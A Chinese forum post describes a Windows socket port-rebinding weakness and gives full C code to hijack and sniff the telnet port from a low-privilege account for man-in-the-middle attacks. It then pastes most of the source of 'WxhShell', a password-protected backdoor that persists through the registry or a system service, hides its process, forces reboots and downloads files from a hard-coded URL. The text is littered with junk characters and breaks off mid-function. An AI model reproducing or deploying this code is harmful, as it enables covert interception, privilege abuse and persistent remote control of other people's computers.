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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ; wxmSX9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4%zy$,|e  
bI3GI:hp  
  saddr.sin_family = AF_INET; 3.Yg3&"Z  
d2NFdBoI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *iY:R  
8(&6*- 7=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yY!)2{F+  
%I9f_5BlT8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /_HTW\7,  
:/%Y"0  
  这意味着什么?意味着可以进行如下的攻击: qdy(C^(fa  
u,nn\>Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ES!e/l  
GRJ6|T$!?$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) VwRZgL  
E%;$vj'2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !Y r9N4  
,;5%&T  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mn=b&{')e  
oH&@F@r:+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eub}+~_?[  
[mQ1r*[j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 si)>:e  
Nd"IW${Kg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *!TQC6b$  
@%*2\8}C!  
  #include !s^XWsb8  
  #include z. X hE \  
  #include fVgN8b|&'  
  #include    fzw:[z:%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X`EVjK  
  int main() bM5V=b_H  
  { k0N>J8y  
  WORD wVersionRequested; po'b((q  
  DWORD ret; ?%su?L  
  WSADATA wsaData; xo?'L&%  
  BOOL val; V=5S=7 Z:  
  SOCKADDR_IN saddr; /;w(sU  
  SOCKADDR_IN scaddr; %o4v} mzV  
  int err; uYWgNNxdmo  
  SOCKET s; }y+Qj6dP  
  SOCKET sc; ZA. S X|m  
  int caddsize; 1ig*Xp[  
  HANDLE mt;  oJ*,a  
  DWORD tid;   ` L 1+j  
  wVersionRequested = MAKEWORD( 2, 2 ); N8df1>mW  
  err = WSAStartup( wVersionRequested, &wsaData ); aNY-F)XWa  
  if ( err != 0 ) { ykJ+LS{+  
  printf("error!WSAStartup failed!\n"); ybsw{[X>M  
  return -1; %7 yQ0'P  
  } ,u^{zYoW  
  saddr.sin_family = AF_INET; rv(N0p/  
   aem gGw<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R`DzVBLl  
kr~n5WiAZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); boCi*]  
  saddr.sin_port = htons(23); 2A@oa9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *k_<|{>j(  
  { ,SNrcwv  
  printf("error!socket failed!\n"); &L5 )v\z  
  return -1; ub fh4  
  } T [xIn+w  
  val = TRUE; 3Mm_xYDud  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 62,dFM7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iX{2U lF7  
  { vdvnwzp!l  
  printf("error!setsockopt failed!\n"); Kr'?h'F  
  return -1; %Vltc4QU  
  } Yq51+\d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; IO9|o!&>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :L+ xEL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Rc{R^5B  
a%U#PF6   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6,jCO@!   
  { (B$>o.(JA  
  ret=GetLastError(); Y$"m*0  
  printf("error!bind failed!\n"); ?B;7J7T  
  return -1; 1U.X[}e  
  } ;92xSe"Ww  
  listen(s,2); C P&u  
  while(1) @iV-pJ-  
  { &v*4AZ['  
  caddsize = sizeof(scaddr); `?R{sNr.  
  //接受连接请求 K-\wx5#l/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0fBwy/:  
  if(sc!=INVALID_SOCKET) R_g(6l"3R^  
  {  )sdHJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v X6JjE!  
  if(mt==NULL) ;b=diZE  
  { \+sa[jK  
  printf("Thread Creat Failed!\n"); $.$nv~f  
  break; N0^SWA|S  
  } t7u*j-YE  
  } 9M7P|Q  
  CloseHandle(mt); b(R.&X  
  } % JiF269  
  closesocket(s); LXxQI(RO  
  WSACleanup(); W).Kq-  
  return 0; hGrX,.zj  
  }   :vEfJSA 1<  
  DWORD WINAPI ClientThread(LPVOID lpParam) i}C%8} %  
  { wGT>Xh!  
  SOCKET ss = (SOCKET)lpParam; -(WRhBpw  
  SOCKET sc; ?.F^Oi6 u  
  unsigned char buf[4096]; N2}Y8aR~  
  SOCKADDR_IN saddr; 8]vut{  
  long num; !LpjTMYs  
  DWORD val; @J 5TDq @  
  DWORD ret; PPySOkmS3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .-T P 1C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'a JE+  
  saddr.sin_family = AF_INET; sUc[!S:/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <Fx%P:d  
  saddr.sin_port = htons(23); .),9q z`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W/t,7lPFb  
  { e_3jyA@v  
  printf("error!socket failed!\n"); ,:J[|9  
  return -1; #&r}J  
  } CP2wg .  
  val = 100; r_Ou\|jU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M6Xzyt|  
  { (n>Gi;u(R  
  ret = GetLastError(); >jmHe^rH  
  return -1; ]u-bJ  
  } 0L32sF y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #T>?g5I  
  { u tkdL4G}'  
  ret = GetLastError(); aj1,h)P  
  return -1; dr&G>  
  } DMDtry?1:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^J hs/HV  
  { -?1R l:rM  
  printf("error!socket connect failed!\n"); b3[!1i  
  closesocket(sc); 6E1~dK0t  
  closesocket(ss); T _UJ?W  
  return -1; pi#a!Quf\  
  } u0=&_Q(=  
  while(1) R6Md_t\  
  { Vrlqje_Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tw zV-8\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 RR+kjK?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P/WGB~NH  
  num = recv(ss,buf,4096,0); @uV]7d"z(  
  if(num>0) t@MUNW`Q  
  send(sc,buf,num,0); 4<PupJ  
  else if(num==0) l8+)Xk>   
  break;  *$DD+]2  
  num = recv(sc,buf,4096,0); GLZ*5kw  
  if(num>0) NhNd+SCZ@  
  send(ss,buf,num,0); VKYljY0#  
  else if(num==0) b|Ge#o  
  break; sk 8DW  
  } $")Gd@aR  
  closesocket(ss); < -W 8  
  closesocket(sc); t$t'{*t( T  
  return 0 ; ND.(N'/O  
  } I9xu3izAmR  
kjsj~jwvv  
- (((y)!  
========================================================== k1yqe rA  
IOC$jab@  
下边附上一个代码,,WXhSHELL .L%pWRxA[  
VrfEa d  
========================================================== ?Q"<AL>Z  
(X5y%~;V5a  
#include "stdafx.h" /&47qU4PJ  
wVI_SQ<8V  
#include <stdio.h> _s0)Dl6K  
#include <string.h> +eH`mI0f  
#include <windows.h> n<FUaR>q}  
#include <winsock2.h> ZQ`4'|"  
#include <winsvc.h> jP}Ry=V/  
#include <urlmon.h> +0*\q  
os;9 4yd )  
#pragma comment (lib, "Ws2_32.lib") )[ UYCx'  
#pragma comment (lib, "urlmon.lib") toD!RE  
;3& wO~lW  
#define MAX_USER   100 // 最大客户端连接数 %rrD+  
#define BUF_SOCK   200 // sock buffer %WR"qd&HSh  
#define KEY_BUFF   255 // 输入 buffer {%k[Z9*tO  
qHyOaK Md  
#define REBOOT     0   // 重启 Z{l`X#':  
#define SHUTDOWN   1   // 关机 gn.)_  
9$9a BW  
#define DEF_PORT   5000 // 监听端口 c'VCCXe  
UfO='&U^  
#define REG_LEN     16   // 注册表键长度 vyWx{ @  
#define SVC_LEN     80   // NT服务名长度 ALO/{:l(  
_D{FQRU<YD  
// 从dll定义API t(PA+~sIp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }#E]efjs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A-L)2.M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); | ~>7_:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lsj9^z7  
WnOYU9 ;%  
// wxhshell配置信息 >b0 Bvx-  
struct WSCFG { />:$"+gKo  
  int ws_port;         // 监听端口 n.NWS/v_{  
  char ws_passstr[REG_LEN]; // 口令 r7}KV| M  
  int ws_autoins;       // 安装标记, 1=yes 0=no GJE+sqMX1  
  char ws_regname[REG_LEN]; // 注册表键名 e8:O2!HW  
  char ws_svcname[REG_LEN]; // 服务名 p^w)@^f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rbv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J~`!@!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3rN}iSF^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L_:~{jV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &Y9%Y/Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %1GKN|7  
r+#g  
}; ]Y->EME:W  
:TKx>~`  
// default Wxhshell configuration XrMw$_0)  
struct WSCFG wscfg={DEF_PORT, K+L9cv4 |*  
    "xuhuanlingzhe", +G!# /u1  
    1, !J{[XT  
    "Wxhshell", vg X7B4  
    "Wxhshell", z$g__q-  
            "WxhShell Service", y!S:d  
    "Wrsky Windows CmdShell Service", = 4|"<8'  
    "Please Input Your Password: ", 4T$jY}U  
  1, 6q0)/|,@  
  "http://www.wrsky.com/wxhshell.exe", $JBb] v8_  
  "Wxhshell.exe" YB)I%5d;{  
    }; M1 o@v0  
vF@|cTRR)  
// 消息定义模块 9Ou}8a?m"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y Fj#{C.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;F%EW`7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B2_fCSlg  
char *msg_ws_ext="\n\rExit."; oL>o*/  
char *msg_ws_end="\n\rQuit."; d%q&[<'jf  
char *msg_ws_boot="\n\rReboot..."; Lq6nmjL  
char *msg_ws_poff="\n\rShutdown..."; tOk=m'aUK  
char *msg_ws_down="\n\rSave to "; b rDyjh  
^aJ]|*m  
char *msg_ws_err="\n\rErr!"; D]'8BS3  
char *msg_ws_ok="\n\rOK!"; vt(}8C+  
XS&;8 PO  
char ExeFile[MAX_PATH]; 9 MQwc  
int nUser = 0; |KPNl\%ID  
HANDLE handles[MAX_USER]; /Gb)BJk!  
int OsIsNt; Ho&f[T(  
S @!z'$&  
SERVICE_STATUS       serviceStatus; "_BWUY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !VudZ]Sg  
Aq'~'hS`1  
// 函数声明 <+%y  
int Install(void); wF6a*b@v  
int Uninstall(void); # X{lV]Z  
int DownloadFile(char *sURL, SOCKET wsh); ,ag* /  
int Boot(int flag); R Eo{E  
void HideProc(void); {VM^K1  
int GetOsVer(void); C\bJ_vl;'  
int Wxhshell(SOCKET wsl); mB bGj3u;  
void TalkWithClient(void *cs); mL;oR4{  
int CmdShell(SOCKET sock); ,]9p&xu  
int StartFromService(void); 4/S3hH  
int StartWxhshell(LPSTR lpCmdLine); 7g oRj  
pA@R,O>zr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rT4qx2u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g*4^HbVxt  
_IxYnm`pc  
// 数据结构和表定义 !@T~m1L eY  
SERVICE_TABLE_ENTRY DispatchTable[] = mpIR: Im  
{ mv$gL  
{wscfg.ws_svcname, NTServiceMain}, 3_i29ghv  
{NULL, NULL} &wkb r2P  
}; k#V\O2lb  
"1DlusmCCB  
// 自我安装 r=RiuxxTq  
int Install(void) (v}l#M7w  
{ Rp_}_hL0  
  char svExeFile[MAX_PATH]; 0Uk;&a0s  
  HKEY key; *J4 \KU  
  strcpy(svExeFile,ExeFile); Z{F^qwne  
1^WkW\9kO  
// 如果是win9x系统,修改注册表设为自启动 LiGECqWBa'  
if(!OsIsNt) { 0NvicZ7VR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z)u_2e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +&M>J|  
  RegCloseKey(key); x;STt3M~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !0KN A1w,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =C)2DWJ1  
  RegCloseKey(key); e>uq/|.!  
  return 0; Wh%@  
    } ojIGfQV  
  } "%rU1/@#  
} J~ z00p`E  
else { 69odE+-X.  
V4,\vgGu  
// 如果是NT以上系统,安装为系统服务 3 }#rg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IFF1wfC  
if (schSCManager!=0) A5ckosYyNA  
{ /}d)g4\j  
  SC_HANDLE schService = CreateService H$zDk  
  ( =%[vHQ\%  
  schSCManager, `w "ooK  
  wscfg.ws_svcname, 4/2@^\?i)  
  wscfg.ws_svcdisp, 99~-TiU  
  SERVICE_ALL_ACCESS, bl|)/)6o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PvxU.  
  SERVICE_AUTO_START, mMK 93Ng"&  
  SERVICE_ERROR_NORMAL, VZk;{  
  svExeFile, '|&?$g(\h  
  NULL, r|953e  
  NULL,  SmAF+d  
  NULL, _2}/rwVg  
  NULL, _znn`_N:v  
  NULL i$!K{H1{9  
  ); k/Ao?R=@gI  
  if (schService!=0) Y5mk*Q#q  
  { WBD"d<>'  
  CloseServiceHandle(schService); >IZ$ .-  
  CloseServiceHandle(schSCManager); `n`HwDo;i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,!^;<UR:  
  strcat(svExeFile,wscfg.ws_svcname); -e+im(2D=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {]7lh#M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P@Pe5H"o  
  RegCloseKey(key); 'H1k  
  return 0; EM'#'fBZ>Y  
    } ;T>.  
  } `2G%&R,k"D  
  CloseServiceHandle(schSCManager); 4(8BWP~.y2  
} a{kLAx[>  
} 7VfPS5se  
U\"FYTC  
return 1; v dU)  
} o fCN[u  
pEG!j ~  
// 自我卸载 Tx$bg(  
int Uninstall(void) ,@8*c0Y~<!  
{ e{ZS"e`!  
  HKEY key; ^8g<>, $  
;![rwra  
if(!OsIsNt) { iis}=i7|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :l {%H^;1  
  RegDeleteValue(key,wscfg.ws_regname); <;!#+|L/  
  RegCloseKey(key); *i,A(f'e4X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OlsD  
  RegDeleteValue(key,wscfg.ws_regname); CE I.*Iywu  
  RegCloseKey(key); MeO2 cy!5q  
  return 0; 6k ]+DbT  
  } Rw!_j!  
} d!4:nvKx  
} DC'L-]#<  
else { 9u_D@A"aC`  
lMjeq.5nP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U/{#~P5s  
if (schSCManager!=0) IG8I<+<o  
{ !z+'mF?V+X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -&LF`V&3w  
  if (schService!=0) uNvdlY]  
  { N >];xb>  
  if(DeleteService(schService)!=0) { 'u:J "  
  CloseServiceHandle(schService); 8+&Da  
  CloseServiceHandle(schSCManager); D [K!xq  
  return 0; edfb7prfTl  
  } mf gUf  
  CloseServiceHandle(schService); lnrs4s Km  
  } =n_>7@9l  
  CloseServiceHandle(schSCManager); AaDMX,  
} ~Z ;.n p(T  
} f;3k Yh^4  
%$+bO/f  
return 1;  ]l=iKl  
} F%:o6mT  
6LzN#g  
// 从指定url下载文件 g_(O7  
int DownloadFile(char *sURL, SOCKET wsh) w+{ o^ O  
{ r]bG,?|  
  HRESULT hr; VO7&<Y}{x  
char seps[]= "/"; "1-z'TV=  
char *token; Pt7yYl&n7^  
char *file; v}uzUY  
char myURL[MAX_PATH]; cnU()pd  
char myFILE[MAX_PATH]; !/E N  
n,b6|Y0  
strcpy(myURL,sURL); 81S0:=   
  token=strtok(myURL,seps); a)M3t  
  while(token!=NULL) #7naI*O  
  { .2*h!d)E  
    file=token; R"O,2+@<.  
  token=strtok(NULL,seps); `_<O _  
  } 8MBvp*  
Ak,T{;rD  
GetCurrentDirectory(MAX_PATH,myFILE); 7y=1\KW(  
strcat(myFILE, "\\"); E[>A# l53  
strcat(myFILE, file); j%fi*2uX  
  send(wsh,myFILE,strlen(myFILE),0); }syU(];s  
send(wsh,"...",3,0); [yDOv Q[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6:`4bo  
  if(hr==S_OK) (Iv*sd *  
return 0; } v3w-  
else #++D|oE  
return 1; X="]q|Z  
+pbP;zu  
} GT-ONwVDq  
VN]"[  
// 系统电源模块 UMlvu?u2p1  
int Boot(int flag) dRXrI  
{ LCok4N$o  
  HANDLE hToken; D #C\| E:  
  TOKEN_PRIVILEGES tkp; c) _u^Dh  
QTjnXg?Ri  
  if(OsIsNt) { U ]O>DM^'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rh6 e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X6n8Bi9Ik  
    tkp.PrivilegeCount = 1; L#`X;:   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,o [FUi(#@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t7,**$ST  
if(flag==REBOOT) { !s[ gv1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8,]wOxwqi  
  return 0; FOS*X  
} /7K7o8g  
else { *xDV8iu_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sxPvi0>  
  return 0; IgKrcpK#}?  
} MN_1^T5  
  } Q@cYHFi~+  
  else { ho}G]y  
if(flag==REBOOT) { [.nkNda5)v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (O'O #AD  
  return 0; zz-X5PFn  
} )T'~F  
else {  +Q+!#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ``Rg0o  
  return 0; ^2"w5F  
} %WtF\p  
} x=V3_HI/}  
>* ]B4Q  
return 1; ,-1d2y  
} M0woJt[&  
q`HK4~i,  
// win9x进程隐藏模块 s~g]`/h$r  
void HideProc(void) U DHMNubB  
{ #kAk d-QY6  
?)e6:T(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'o1lJ?~kH  
  if ( hKernel != NULL ) z"V`8D  
  { M&0U@ r-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [m9=e-KS$Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4&H&zST//m  
    FreeLibrary(hKernel); |i- S}M  
  } $%5vJiuk  
G:Nwi=vN  
return; ._`?ZJ  
} ]v0=jm5A  
3OJGBiDAr  
// 获取操作系统版本 1b8}TG2  
int GetOsVer(void) 10m`LG  
{ &}FWpo!  
  OSVERSIONINFO winfo; dSbz$Fct  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sUpSXG-W/@  
  GetVersionEx(&winfo); 6x@4gP y[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~oeX0l>F  
  return 1; 6tup^Rlo;$  
  else #x(3>}  
  return 0; ]9hhAT44  
} /rv=ml pRL  
>S:+&VN`M  
// 客户端句柄模块 K]ds2Kp&  
int Wxhshell(SOCKET wsl) Sh7ob2  
{ C59H| S  
  SOCKET wsh; /.:&9 c  
  struct sockaddr_in client; k~qZ^9QB~  
  DWORD myID; q (}#{OO  
M[^EHa<i  
  while(nUser<MAX_USER) ?1Uq ud  
{ M3H^s_  
  int nSize=sizeof(client); ]u"x=S93  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ol*|J  
  if(wsh==INVALID_SOCKET) return 1; =${ImMwj  
`5Em: 8 M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]!cLFXa  
if(handles[nUser]==0) d>x(Bj6  
  closesocket(wsh); @|@6pXR.  
else -p f9Wk  
  nUser++; x.>[A^  
  } 5h p)Z7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }dG>_/3  
$GIup5  
  return 0; A "~Oi  
} BV]$= e'  
wQ\bGBks  
// 关闭 socket =[`gfw  
void CloseIt(SOCKET wsh) ;>jOB>b{h  
{ XF99h&;9  
closesocket(wsh); UsdUMt!u  
nUser--; l"9$lF}  
ExitThread(0); uar[D|DcD"  
} -FQS5Zb.!  
poXT)2^)  
// 客户端请求句柄 MMf_  
void TalkWithClient(void *cs) Io<L! =>  
{ 4m6%HV8{}[  
' y_2"  
  SOCKET wsh=(SOCKET)cs; =v~$&@  
  char pwd[SVC_LEN]; @<44wMp  
  char cmd[KEY_BUFF]; Z^GXKOeq  
char chr[1]; h($Jo  
int i,j; {D4N=#tl  
{0Ej *%  
  while (nUser < MAX_USER) { >RKepV(X7  
bdvVPjGc&  
if(wscfg.ws_passstr) { OCI{)r<O2m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0Y/k /)Ul]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ou [Wz{  
  //ZeroMemory(pwd,KEY_BUFF); NucLf6  
      i=0; . "`f~s\G  
  while(i<SVC_LEN) { OZE.T-{  
E# *`u  
  // 设置超时 dlc'=M  
  fd_set FdRead; ex)U'.^  
  struct timeval TimeOut; u1/q8'RW  
  FD_ZERO(&FdRead); 420cbD3a  
  FD_SET(wsh,&FdRead); 4j~WrdI*  
  TimeOut.tv_sec=8; A|BN >?.t  
  TimeOut.tv_usec=0; WmZ,c_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *5R91@xt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c_syJ<  
~JohcU}d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]H=P(Z -  
  pwd=chr[0]; \-I)dMm[  
  if(chr[0]==0xd || chr[0]==0xa) { ;;n=(cM|z  
  pwd=0; /P/::$  
  break; M[KYt"v  
  } [I%'\CI;  
  i++; HG[gJ7  
    } txy'7t  
_OR[RGy  
  // 如果是非法用户,关闭 socket 09Y:(2Qri  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P:c 'W?  
} @v n%  
i|G /x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]C$$Cx)Ex  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <`*v/D7\02  
U<U?&hB\@  
while(1) { 7kQ,D,c'  
[,q^\T  
  ZeroMemory(cmd,KEY_BUFF); [ jgC`  
v QDkZ  
      // 自动支持客户端 telnet标准   u 9%AK g}~  
  j=0; &Ef6'  
  while(j<KEY_BUFF) { |~YhN'OJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6G>bZ+  
  cmd[j]=chr[0]; N"/be  
  if(chr[0]==0xa || chr[0]==0xd) { S{ qn^\0  
  cmd[j]=0; "gq _^&  
  break; )LE#SGJP  
  } _<l9j;6  
  j++; {aWfD XB1  
    } ~Ec@hz]js  
Axx{G~n![  
  // 下载文件 ,\E5et4  
  if(strstr(cmd,"http://")) { UJGmaE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a8r+G]Z  
  if(DownloadFile(cmd,wsh)) StM)lVeF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _tVrLb7`s  
  else f`_6X~ p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]\oE}7K%r  
  } f{f|frs  
  else { cUZ^,)8 Z  
,:"c"   
    switch(cmd[0]) { KPs @v@5M  
  )\,hc$<=m  
  // 帮助 d,%@*v]S  
  case '?': { cUM#|K#6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Fj0h-7L  
    break; }}~ t! /x  
  } z;[Z'_B  
  // 安装 ~n!7 ?4%U  
  case 'i': { K2t|d[r  
    if(Install()) CiC@Z,ud`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DwH=ln=  
    else "=XRonQZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ov8{ny  
    break; aW#_"Y}v'  
    } XX'Rv]T  
  // 卸载 )z2hyGX  
  case 'r': { Nyo,6 AA  
    if(Uninstall()) ?kM53zbT#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z}*74lhF  
    else }8&L?B;90  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y([vma>U]  
    break; ]mmL8%B@_  
    } NuKx{y}P  
  // 显示 wxhshell 所在路径 B=J/HiwV)  
  case 'p': { .=-K7.X.)  
    char svExeFile[MAX_PATH]; j 1#T]CDs  
    strcpy(svExeFile,"\n\r"); bLi>jE.%.  
      strcat(svExeFile,ExeFile); OQZ\/~o 5  
        send(wsh,svExeFile,strlen(svExeFile),0); LuIs4&[EW  
    break; $2\k| @)s  
    } D^W?~7e ^r  
  // 重启 >VWH bo  
  case 'b': { "Crm\UI6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _fQBXG2  
    if(Boot(REBOOT)) cYMlc wS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a uz2n  
    else { $N1UEvC%Q  
    closesocket(wsh); /R44x\nhr  
    ExitThread(0); -KG3_kE  
    } xlWTHn!j  
    break; ^04|tda  
    } *S@0o6v  
  // 关机 Q.G6 y,KR  
  case 'd': { sj?7}(s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kGSB6  
